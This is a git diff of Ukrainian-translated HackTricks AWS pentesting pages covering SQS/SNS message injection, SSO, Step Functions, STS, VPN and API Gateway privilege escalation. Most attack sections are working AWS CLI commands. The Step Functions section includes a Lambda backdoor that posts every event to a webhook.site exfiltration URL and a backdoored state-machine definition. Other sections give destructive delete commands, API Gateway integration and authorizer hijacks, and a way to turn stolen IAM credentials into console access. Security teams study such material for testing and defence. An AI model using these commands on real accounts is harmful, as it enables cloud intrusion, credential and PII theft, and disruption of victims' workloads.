@@ +# AWS – SQS ін'єкція в межах/між акаунтами через підписку SNS + політику черги + +{{#include ../../../../banners/hacktricks-training.md}} + +## Опис + +Зловживати політикою ресурсу SQS, щоб дозволити керованій нападником темі SNS публікувати повідомлення в цільову чергу SQS. В тому ж акаунті підписка SQS на тему SNS підтверджується автоматично; у випадку між акаунтами необхідно прочитати токен SubscriptionConfirmation з черги і викликати ConfirmSubscription. Це дозволяє несанкціоновану ін'єкцію повідомлень, яким downstream споживачі можуть неявно довіряти. + +### Вимоги +- Можливість змінювати політику ресурсу цільової черги SQS: `sqs:SetQueueAttributes` на черзі жертви. +- Можливість створювати/публікувати в тему SNS під контролем нападника: `sns:CreateTopic`, `sns:Publish`, та `sns:Subscribe` в акаунті/темі нападника. +- Тільки для міжакаунтових випадків: тимчасове `sqs:ReceiveMessage` на черзі жертви, щоб прочитати токен підтвердження і викликати `sns:ConfirmSubscription`. + +### Експлуатація в тому ж акаунті +```bash +REGION=us-east-1 +# 1) Create victim queue and capture URL/ARN +Q_URL=$(aws sqs create-queue --queue-name ht-victim-q --region $REGION --query QueueUrl --output text) +Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text) + +# 2) Create attacker SNS topic +TOPIC_ARN=$(aws sns create-topic --name ht-attacker-topic --region $REGION --query TopicArn --output text) + +# 3) Allow that SNS topic to publish to the queue (queue resource policy) +cat > /tmp/ht-sqs-sns-policy.json < /tmp/ht-attrs.json <sqs} --region $REGION +aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 10 --attribute-names All --message-attribute-names All +``` +### Між-акаунтні нотатки +- Політика черги вище має дозволяти зовнішній `TOPIC_ARN` (акаунт атакуючого). +- Підписки не підтверджуються автоматично. Наділіть собі тимчасовий дозвіл `sqs:ReceiveMessage` на черзі жертви, щоб прочитати повідомлення `SubscriptionConfirmation`, а потім викличте `sns confirm-subscription` з його `Token`. + +### Вплив +**Потенційний вплив**: Безперервне небажане впровадження повідомлень у довірену SQS-чергу через SNS, що може спричинити небажану обробку, забруднення даних або зловживання робочим процесом. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation/README.md similarity index 72% rename from src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md rename to src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation/README.md index 1c875c9b0..c3e66f54b 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation/README.md @@ -1,18 +1,18 @@ -# AWS - SSO та identitystore Після Експлуатації +# AWS - SSO & identitystore Post Exploitation -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} -## SSO та identitystore +## SSO & identitystore -Для отримання додаткової інформації перегляньте: +Для отримання додаткової інформації дивіться: {{#ref}} -../aws-services/aws-iam-enum.md +../../aws-services/aws-iam-enum.md {{#endref}} ### `sso:DeletePermissionSet` | `sso:PutPermissionsBoundaryToPermissionSet` | `sso:DeleteAccountAssignment` -Ці дозволи можуть бути використані для порушення дозволів: +Ці дозволи можуть бути використані для порушення прав доступу: ```bash aws sso-admin delete-permission-set --instance-arn --permission-set-arn @@ -20,4 +20,4 @@ aws sso-admin put-permissions-boundary-to-permission-set --instance-arn --target-id --target-type --permission-set-arn --principal-type --principal-id ``` -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md deleted file mode 100644 index 0e5914c5b..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md +++ /dev/null @@ -1,185 +0,0 @@ -# AWS - Step Functions Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## Step Functions - -Для отримання додаткової інформації про цю службу AWS, перегляньте: - -{{#ref}} -../aws-services/aws-stepfunctions-enum.md -{{#endref}} - -### `states:RevealSecrets` - -Цей дозвіл дозволяє **викривати секретні дані під час виконання**. Для цього потрібно встановити рівень перевірки на TRACE і параметр revealSecrets на true. - -
- -### `states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias` - -Зловмисник з цими дозволами зможе назавжди видалити машини станів, їх версії та псевдоніми. Це може порушити критичні робочі процеси, призвести до втрати даних і вимагати значного часу для відновлення та відновлення постраждалих машин станів. Крім того, це дозволить зловмиснику приховати сліди, що використовуються, порушити судово-медичні розслідування та потенційно паралізувати операції, видаливши важливі автоматизовані процеси та конфігурації станів. - -> [!NOTE] -> -> - Видаляючи машину станів, ви також видаляєте всі її асоційовані версії та псевдоніми. -> - Видаляючи псевдонім машини станів, ви не видаляєте версії машини станів, що посилаються на цей псевдонім. -> - Неможливо видалити версію машини станів, яка в даний час посилається на один або кілька псевдонімів. -```bash -# Delete state machine -aws stepfunctions delete-state-machine --state-machine-arn -# Delete state machine version -aws stepfunctions delete-state-machine-version --state-machine-version-arn -# Delete state machine alias -aws stepfunctions delete-state-machine-alias --state-machine-alias-arn -``` -- **Потенційний вплив**: Порушення критичних робочих процесів, втрата даних та простої в роботі. - -### `states:UpdateMapRun` - -Зловмисник з цим дозволом зможе маніпулювати конфігурацією невдачі Map Run та паралельними налаштуваннями, маючи можливість збільшувати або зменшувати максимальну кількість дозволених виконань дочірніх робочих процесів, що безпосередньо вплине на продуктивність сервісу. Крім того, зловмисник може підробити відсоток та кількість допустимих невдач, зменшуючи це значення до 0, так що щоразу, коли елемент зазнає невдачі, все виконання карти зазнає невдачі, що безпосередньо вплине на виконання станів і потенційно порушить критичні робочі процеси. -```bash -aws stepfunctions update-map-run --map-run-arn [--max-concurrency ] [--tolerated-failure-percentage ] [--tolerated-failure-count ] -``` -- **Потенційний вплив**: Зниження продуктивності та порушення критичних робочих процесів. - -### `states:StopExecution` - -Зловмисник з цим дозволом може зупинити виконання будь-якої машини станів, порушуючи поточні робочі процеси та процеси. Це може призвести до незавершених транзакцій, зупинки бізнес-операцій та потенційного пошкодження даних. - -> [!WARNING] -> Ця дія не підтримується **express state machines**. -```bash -aws stepfunctions stop-execution --execution-arn [--error ] [--cause ] -``` -- **Потенційний вплив**: Порушення поточних робочих процесів, операційний простій та потенційна корупція даних. - -### `states:TagResource`, `states:UntagResource` - -Зловмисник може додавати, змінювати або видаляти теги з ресурсів Step Functions, порушуючи політики розподілу витрат, відстеження ресурсів та контролю доступу вашої організації на основі тегів. -```bash -aws stepfunctions tag-resource --resource-arn --tags Key=,Value= -aws stepfunctions untag-resource --resource-arn --tag-keys -``` -**Потенційний вплив**: Порушення розподілу витрат, відстеження ресурсів та політик контролю доступу на основі тегів. - ---- - -### `states:UpdateStateMachine`, `lambda:UpdateFunctionCode` - -Зловмисник, який компрометує користувача або роль з наступними дозволами: -```json -{ -"Version": "2012-10-17", -"Statement": [ -{ -"Sid": "AllowUpdateStateMachine", -"Effect": "Allow", -"Action": "states:UpdateStateMachine", -"Resource": "*" -}, -{ -"Sid": "AllowUpdateFunctionCode", -"Effect": "Allow", -"Action": "lambda:UpdateFunctionCode", -"Resource": "*" -} -] -} -``` -...може провести **високоефективну та приховану атаку після експлуатації**, поєднуючи зворотне програмування Lambda з маніпуляцією логікою Step Function. - -Цей сценарій передбачає, що жертва використовує **AWS Step Functions для оркестрації робочих процесів, які обробляють чутливі дані**, такі як облікові дані, токени або PII. - -Приклад виклику жертви: -```bash -aws stepfunctions start-execution \ ---state-machine-arn arn:aws:states:us-east-1::stateMachine:LegitStateMachine \ ---input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim -``` -Якщо Step Function налаштовано для виклику Lambda, як-от `LegitBusinessLogic`, зловмисник може продовжити з **двома прихованими варіантами атаки**: - ---- - -#### Оновлено функцію lambda - -Зловмисник змінює код функції Lambda, яка вже використовується Step Function (`LegitBusinessLogic`), щоб безшумно ексфільтрувати вхідні дані. -```python -# send_to_attacker.py -import requests - -def lambda_handler(event, context): -requests.post("https://webhook.site//exfil", json=event) -return {"status": "exfiltrated"} -``` - -```bash -zip function.zip send_to_attacker.py - -aws lambda update-function-code \ ---function-name LegitBusinessLogic \ ---zip-file fileb://function.zip -profile attacker -``` ---- - -#### Додати Шкідливий Стан до Функції Кроків - -Альтернативно, зловмисник може впровадити **exfiltration state** на початку робочого процесу, оновивши визначення Функції Кроків. -```malicious_state_definition.json -{ -"Comment": "Backdoored for Exfiltration", -"StartAt": "OriginalState", -"States": { -"OriginalState": { -"Type": "Task", -"Resource": "arn:aws:lambda:us-east-1::function:LegitBusinessLogic", -"End": true -} -} -} - -``` - -```bash -aws stepfunctions update-state-machine \ ---state-machine-arn arn:aws:states:us-east-1::stateMachine:LegitStateMachine \ ---definition file://malicious_state_definition.json --profile attacker -``` -Атакуючий може ще більш непомітно оновити визначення стану на щось подібне до цього -{ -"Comment": "Backdoored for Exfiltration", -"StartAt": "ExfiltrateSecrets", -"States": { -"ExfiltrateSecrets": { -"Type": "Task", -"Resource": "arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker", -"InputPath": "$", -"ResultPath": "$.exfil", -"Next": "OriginalState" -}, -"OriginalState": { -"Type": "Task", -"Resource": "arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic", -"End": true -} -} -} -де жертва не помітить різниці - ---- - -### Налаштування жертви (Контекст для експлуатації) - -- Використовується функція Step (`LegitStateMachine`) для обробки чутливого вводу користувача. -- Вона викликає одну або кілька функцій Lambda, таких як `LegitBusinessLogic`. - ---- - -**Потенційний вплив**: -- Тиха ексфільтрація чутливих даних, включаючи секрети, облікові дані, API ключі та PII. -- Відсутність видимих помилок або збоїв у виконанні робочого процесу. -- Важко виявити без аудиту коду Lambda або слідів виконання. -- Дозволяє довгострокову стійкість, якщо бекдор залишається в коді або логіці ASL. - - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md new file mode 100644 index 000000000..cacdd0857 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md @@ -0,0 +1,185 @@ +# AWS - Step Functions Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## Step Functions + +Для отримання додаткової інформації про цю службу AWS див.: + +{{#ref}} +../../aws-services/aws-stepfunctions-enum.md +{{#endref}} + +### `states:RevealSecrets` + +Цей дозвіл дозволяє **розкривати секретні дані всередині виконання**. Для цього потрібно встановити Inspection level на TRACE та параметр revealSecrets у true. + +
+ +### `states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias` + +Зловмисник з такими дозволами зможе назавжди видаляти state machines, їхні версії та aliases. Це може порушити критично важливі робочі процеси, призвести до втрати даних і вимагати значного часу та зусиль для відновлення уражених state machines. Крім того, це дозволить зловмисникові приховати використані сліди, перешкодити судово-технічним розслідуванням і потенційно вивести з ладу операції шляхом видалення необхідних автоматизаційних процесів та конфігурацій станів. + +> [!NOTE] +> +> - Видаляючи state machine, ви також видаляєте всі її пов'язані версії та aliases. +> - Видаляючи state machine alias, ви не видаляєте state machine versions, які посилаються на цей alias. +> - Наразі неможливо видалити state machine version, що наразі посилається одним або кількома aliases. +```bash +# Delete state machine +aws stepfunctions delete-state-machine --state-machine-arn +# Delete state machine version +aws stepfunctions delete-state-machine-version --state-machine-version-arn +# Delete state machine alias +aws stepfunctions delete-state-machine-alias --state-machine-alias-arn +``` +- **Потенційний вплив**: Порушення критичних робочих процесів, втрата даних і операційні простої. + +### `states:UpdateMapRun` + +Зловмисник із цим дозволом зможе маніпулювати конфігурацією відмов Map Run та налаштуванням паралельності, збільшуючи або зменшуючи максимально допустиму кількість виконань дочірніх workflow, що безпосередньо впливатиме на надійність і продуктивність сервісу. Крім того, зловмисник може змінити допустимий відсоток і кількість відмов, знизивши це значення до 0, через що при кожній невдачі елемента весь Map Run буде провалюватися, безпосередньо впливаючи на виконання state machine і потенційно порушуючи критичні робочі процеси. +```bash +aws stepfunctions update-map-run --map-run-arn [--max-concurrency ] [--tolerated-failure-percentage ] [--tolerated-failure-count ] +``` +- **Potential Impact**: Погіршення продуктивності та порушення критичних робочих процесів. + +### `states:StopExecution` + +Зловмисник з таким дозволом може зупинити виконання будь-якої state machine, перервавши поточні робочі процеси та процеси. Це може призвести до неповних транзакцій, призупинення бізнес-операцій та потенційного пошкодження даних. + +> [!WARNING] +> Ця дія не підтримується **express state machines**. +```bash +aws stepfunctions stop-execution --execution-arn [--error ] [--cause ] +``` +- **Потенційний вплив**: Порушення поточних робочих процесів, операційні простої та можливе пошкодження даних. + +### `states:TagResource`, `states:UntagResource` + +Зловмисник може додавати, змінювати або видаляти tags з ресурсів Step Functions, порушуючи розподіл витрат у вашій організації, відстеження ресурсів та політики контролю доступу, засновані на tags. +```bash +aws stepfunctions tag-resource --resource-arn --tags Key=,Value= +aws stepfunctions untag-resource --resource-arn --tag-keys +``` +**Потенційний вплив**: Порушення розподілу витрат, відстеження ресурсів та політик контролю доступу на основі тегів. + +--- + +### `states:UpdateStateMachine`, `lambda:UpdateFunctionCode` + +Зловмисник, який скомпрометував користувача або роль з такими дозволами: +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "AllowUpdateStateMachine", +"Effect": "Allow", +"Action": "states:UpdateStateMachine", +"Resource": "*" +}, +{ +"Sid": "AllowUpdateFunctionCode", +"Effect": "Allow", +"Action": "lambda:UpdateFunctionCode", +"Resource": "*" +} +] +} +``` +...може провести **високого впливу та прихований post-exploitation attack** шляхом комбінування Lambda backdooring з Step Function logic manipulation. + +У цьому сценарії припускається, що жертва використовує **AWS Step Functions для оркестрації робочих процесів, що обробляють конфіденційну інформацію**, таку як облікові дані, токени або PII. + +Приклад виклику жертви: +```bash +aws stepfunctions start-execution \ +--state-machine-arn arn:aws:states:us-east-1::stateMachine:LegitStateMachine \ +--input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim +``` +Якщо Step Function налаштовано на виклик Lambda, наприклад `LegitBusinessLogic`, attacker може перейти до **two stealthy attack variants**: + +--- + +#### Оновлено lambda function + +attacker змінює код Lambda function, який вже використовується Step Function (`LegitBusinessLogic`), щоб приховано exfiltrate вхідні дані. +```python +# send_to_attacker.py +import requests + +def lambda_handler(event, context): +requests.post("https://webhook.site//exfil", json=event) +return {"status": "exfiltrated"} +``` + +```bash +zip function.zip send_to_attacker.py + +aws lambda update-function-code \ +--function-name LegitBusinessLogic \ +--zip-file fileb://function.zip -profile attacker +``` +--- + +#### Додати шкідливий стан до Step Function + +Альтернативно, зловмисник може впровадити **exfiltration state** на початку робочого процесу, оновивши визначення Step Function. +```malicious_state_definition.json +{ +"Comment": "Backdoored for Exfiltration", +"StartAt": "OriginalState", +"States": { +"OriginalState": { +"Type": "Task", +"Resource": "arn:aws:lambda:us-east-1::function:LegitBusinessLogic", +"End": true +} +} +} + +``` + +```bash +aws stepfunctions update-state-machine \ +--state-machine-arn arn:aws:states:us-east-1::stateMachine:LegitStateMachine \ +--definition file://malicious_state_definition.json --profile attacker +``` +Атакувальник може діяти ще більш приховано, оновивши визначення стану на щось на кшталт цього +{ +"Comment": "Backdoored for Exfiltration", +"StartAt": "ExfiltrateSecrets", +"States": { +"ExfiltrateSecrets": { +"Type": "Task", +"Resource": "arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker", +"InputPath": "$", +"ResultPath": "$.exfil", +"Next": "OriginalState" +}, +"OriginalState": { +"Type": "Task", +"Resource": "arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic", +"End": true +} +} +} +де жертва не помітить змін + +--- + +### Налаштування жертви (Context for Exploit) + +- A Step Function (`LegitStateMachine`) використовується для обробки конфіденційних даних користувача. +- Вона викликає одну або кілька Lambda-функцій, таких як `LegitBusinessLogic`. + +--- + +**Потенційний вплив**: +- Тихе exfiltration конфіденційних даних, включаючи secrets, credentials, API keys та PII. +- Відсутність видимих помилок або збоїв при виконанні workflow. +- Складно виявити без аудиту коду Lambda або аналізу execution traces. +- Дозволяє довготривалу персистентність, якщо backdoor залишається в коді або логіці ASL. + + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation/README.md similarity index 52% rename from src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md rename to src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation/README.md index a9625d7a2..cffaa2452 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation/README.md @@ -1,22 +1,23 @@ # AWS - STS Post Exploitation -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## STS -Для додаткової інформації: +For more information: {{#ref}} -../aws-services/aws-iam-enum.md +../../aws-services/aws-iam-enum.md {{#endref}} ### From IAM Creds to Console -Якщо вам вдалося отримати деякі IAM credentials, можливо, вас зацікавить **доступ до веб-консолі** за допомогою наведених інструментів.\ Зауважте, що користувач/роль має мати дозвіл **`sts:GetFederationToken`**. +Якщо вам вдалося отримати деякі IAM credentials, вас може зацікавити **доступ до веб-консолі** за допомогою наведених інструментів.\ +Зауважте, що користувач/роль має мати дозвіл **`sts:GetFederationToken`**. -#### Користувацький скрипт +#### Custom script -Наведений скрипт використає профіль за замовчуванням і стандартний регіон AWS (не gov і не cn), щоб згенерувати підписаний URL, який ви можете використати для входу в веб-консоль: +Наступний скрипт використає профіль за замовчуванням та стандартний регіон AWS (не gov і не cn), щоб надати підписане URL, яке ви можете використати для входу у веб-консоль: ```bash # Get federated creds (you must indicate a policy or they won't have any perms) ## Even if you don't have Admin access you can indicate that policy to make sure you get all your privileges @@ -63,22 +64,22 @@ pip install aws-consoler aws_consoler [params...] #This will generate a link to login into the console ``` > [!WARNING] -> Переконайтеся, що IAM користувач має дозвіл `sts:GetFederationToken`, або надайте роль, яку можна прийняти. +> Переконайтеся, що IAM user має дозвіл `sts:GetFederationToken`, або вкажіть role для assume. #### aws-vault -[**aws-vault**](https://github.com/99designs/aws-vault) — це інструмент для безпечного зберігання та доступу до облікових даних AWS у середовищі розробки. +[**aws-vault**](https://github.com/99designs/aws-vault) — інструмент для безпечного зберігання та доступу до AWS credentials у середовищі розробки. ```bash aws-vault list aws-vault exec jonsmith -- aws s3 ls # Execute aws cli with jonsmith creds aws-vault login jonsmith # Open a browser logged as jonsmith ``` > [!NOTE] -> Ви також можете використати **aws-vault** для отримання **сеансу веб-консолі в браузері** +> Ви також можете використати **aws-vault** для отримання **сесії консолі в браузері** ### **Обхід обмежень User-Agent з Python** -Якщо існує **обмеження на виконання певних дій залежно від використовуваного User-Agent** (наприклад, обмеження використання python boto3 library на основі User-Agent), можна скористатися попередньою технікою, щоб **підключитися до веб-консолі через браузер**, або безпосередньо **змінити boto3 user-agent**, зробивши: +Якщо існує **обмеження на виконання певних дій залежно від User-Agent**, що використовується (наприклад, коли використання python boto3 library обмежене за User-Agent), можна скористатися попередньою технікою, щоб **підключитися до веб-консолі через браузер**, або ж безпосередньо **змінити boto3 user-agent**, зробивши: ```bash # Shared by ex16x41 # Create a client @@ -93,14 +94,12 @@ response = client.get_secret_value(SecretId="flag_secret") print(response['Secre ``` ### **`sts:GetFederationToken`** -З цим дозволом можна створити федеративну ідентичність для користувача, який виконує цю дію, обмежену дозволами, якими володіє цей користувач. +З цим дозволом можна створити федеративну ідентичність для користувача, який його виконує, обмежену тими ж дозволами, що має цей користувач. ```bash aws sts get-federation-token --name ``` -Токен, повернутий sts:GetFederationToken, належить федеративній ідентичності користувача, який викликав запит, але має обмежені дозволи. +Токен, який повертається sts:GetFederationToken, належить федерованій ідентичності користувача, що викликає, але має обмежені права. Навіть якщо користувач має права адміністратора, певні дії, такі як перелік IAM users або attaching policies, не можуть бути виконані через федерований токен. -Навіть якщо користувач має права адміністратора, певні дії, такі як перелік користувачів IAM або приєднання політик, не можуть бути виконані через федеративний токен. +Крім того, цей метод є дещо більш прихованим, оскільки федерований користувач не відображається в AWS Portal — його можна спостерігати лише через CloudTrail logs або інструменти моніторингу. -Крім того, цей метод дещо більш малопомітний, оскільки федеративний користувач не відображається в AWS Portal; його можна побачити лише через логи CloudTrail або інструменти моніторингу. - -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md deleted file mode 100644 index 38c68c5c1..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md +++ /dev/null @@ -1,13 +0,0 @@ -# AWS - VPN Постексплуатація - -{{#include ../../../banners/hacktricks-training.md}} - -## VPN - -Для отримання додаткової інформації: - -{{#ref}} -../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ -{{#endref}} - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation/README.md new file mode 100644 index 000000000..869dd04c0 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation/README.md @@ -0,0 +1,13 @@ +# AWS - VPN Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## VPN + +Для отримання додаткової інформації: + +{{#ref}} +../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ +{{#endref}} + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md deleted file mode 100644 index a8ee8541c..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md +++ /dev/null @@ -1,95 +0,0 @@ -# AWS - Apigateway Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## Apigateway - -Для отримання додаткової інформації перегляньте: - -{{#ref}} -../aws-services/aws-api-gateway-enum.md -{{#endref}} - -### `apigateway:POST` - -З цим дозволом ви можете генерувати ключі API для налаштованих API (по регіону). -```bash -aws --region apigateway create-api-key -``` -**Потенційний вплив:** Ви не можете підвищити привілеї за допомогою цієї техніки, але ви можете отримати доступ до чутливої інформації. - -### `apigateway:GET` - -З цією дозволом ви можете отримати згенеровані ключі API для налаштованих API (по регіону). -```bash -aws --region apigateway get-api-keys -aws --region apigateway get-api-key --api-key --include-value -``` -**Потенційний вплив:** Ви не можете підвищити привілеї за допомогою цієї техніки, але ви можете отримати доступ до чутливої інформації. - -### `apigateway:UpdateRestApiPolicy`, `apigateway:PATCH` - -З цими дозволами можливо змінити політику ресурсу API, щоб надати собі доступ до його виклику та зловживати потенційним доступом, який може мати API gateway (наприклад, виклик вразливої lambda). -```bash -aws apigateway update-rest-api \ ---rest-api-id api-id \ ---patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"' -``` -**Потенційний вплив:** Зазвичай ви не зможете безпосередньо підвищити привілеї за допомогою цієї техніки, але ви можете отримати доступ до чутливої інформації. - -### `apigateway:PutIntegration`, `apigateway:CreateDeployment`, `iam:PassRole` - -> [!NOTE] -> Потрібно тестування - -Зловмисник з дозволами `apigateway:PutIntegration`, `apigateway:CreateDeployment` та `iam:PassRole` може **додати нову інтеграцію до існуючого API Gateway REST API з функцією Lambda, до якої прикріплено IAM роль**. Потім зловмисник може **викликати функцію Lambda для виконання довільного коду і потенційно отримати доступ до ресурсів, пов'язаних з IAM роллю**. -```bash -API_ID="your-api-id" -RESOURCE_ID="your-resource-id" -HTTP_METHOD="GET" -LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name" -LAMBDA_ROLE_ARN="arn:aws:iam::account-id:role/lambda-role" - -# Add a new integration to the API Gateway REST API -aws apigateway put-integration --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --type AWS_PROXY --integration-http-method POST --uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations --credentials $LAMBDA_ROLE_ARN - -# Create a deployment for the updated API Gateway REST API -aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod -``` -**Потенційний вплив**: Доступ до ресурсів, пов'язаних з IAM роллю функції Lambda. - -### `apigateway:UpdateAuthorizer`, `apigateway:CreateDeployment` - -> [!NOTE] -> Потрібно тестування - -Зловмисник з правами `apigateway:UpdateAuthorizer` та `apigateway:CreateDeployment` може **модифікувати існуючий авторизатор API Gateway**, щоб обійти перевірки безпеки або виконати довільний код під час виконання запитів до API. -```bash -API_ID="your-api-id" -AUTHORIZER_ID="your-authorizer-id" -LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name" - -# Update the API Gateway authorizer -aws apigateway update-authorizer --rest-api-id $API_ID --authorizer-id $AUTHORIZER_ID --authorizer-uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations - -# Create a deployment for the updated API Gateway REST API -aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod -``` -**Потенційний вплив**: Обхід перевірок безпеки, несанкціонований доступ до ресурсів API. - -### `apigateway:UpdateVpcLink` - -> [!NOTE] -> Потрібно тестування - -Зловмисник з дозволом `apigateway:UpdateVpcLink` може **змінити існуюче VPC Link, щоб вказати на інший Network Load Balancer, потенційно перенаправляючи приватний API-трафік на несанкціоновані або шкідливі ресурси**. -```bash -bashCopy codeVPC_LINK_ID="your-vpc-link-id" -NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188" - -# Update the VPC Link -aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op=replace,path=/targetArns,value="[$NEW_NLB_ARN]" -``` -**Потенційний вплив**: Несанкціонований доступ до приватних ресурсів API, перехоплення або порушення трафіку API. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc/README.md new file mode 100644 index 000000000..99a4f1e2a --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc/README.md @@ -0,0 +1,95 @@ +# AWS - Apigateway Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## Apigateway + +Для додаткової інформації див.: + +{{#ref}} +../../aws-services/aws-api-gateway-enum.md +{{#endref}} + +### `apigateway:POST` + +З цим дозволом ви можете генерувати ключі API для налаштованих API (для кожного регіону). +```bash +aws --region apigateway create-api-key +``` +**Можливий вплив:** Ви не зможете виконати privesc за допомогою цієї техніки, проте можете отримати доступ до конфіденційної інформації. + +### `apigateway:GET` + +З цим дозволом ви можете отримати згенеровані API keys для налаштованих APIs (для кожного регіону). +```bash +aws --region apigateway get-api-keys +aws --region apigateway get-api-key --api-key --include-value +``` +**Potential Impact:** Ви не можете privesc за допомогою цієї техніки, але можете отримати доступ до чутливої інформації. + +### `apigateway:UpdateRestApiPolicy`, `apigateway:PATCH` + +З цими дозволами можна змінити resource policy API, щоб надати собі можливість викликати його та зловживати потенційним доступом, який може мати API gateway (наприклад, викликом вразливої lambda). +```bash +aws apigateway update-rest-api \ +--rest-api-id api-id \ +--patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"' +``` +**Potential Impact:** Зазвичай ви не зможете безпосередньо privesc за допомогою цієї техніки, але можете отримати доступ до чутливої інформації. + +### `apigateway:PutIntegration`, `apigateway:CreateDeployment`, `iam:PassRole` + +> [!NOTE] +> Потребує тестування + +Зловмисник із дозволами `apigateway:PutIntegration`, `apigateway:CreateDeployment` та `iam:PassRole` може **додати нову інтеграцію до існуючого API Gateway REST API з функцією Lambda, до якої прикріплено роль IAM**. Потім зловмисник може **ініціювати виконання функції Lambda для запуску довільного коду та потенційно отримати доступ до ресурсів, пов'язаних із ролею IAM**. +```bash +API_ID="your-api-id" +RESOURCE_ID="your-resource-id" +HTTP_METHOD="GET" +LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name" +LAMBDA_ROLE_ARN="arn:aws:iam::account-id:role/lambda-role" + +# Add a new integration to the API Gateway REST API +aws apigateway put-integration --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --type AWS_PROXY --integration-http-method POST --uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations --credentials $LAMBDA_ROLE_ARN + +# Create a deployment for the updated API Gateway REST API +aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod +``` +**Потенційний вплив**: доступ до ресурсів, пов'язаних з Lambda function's 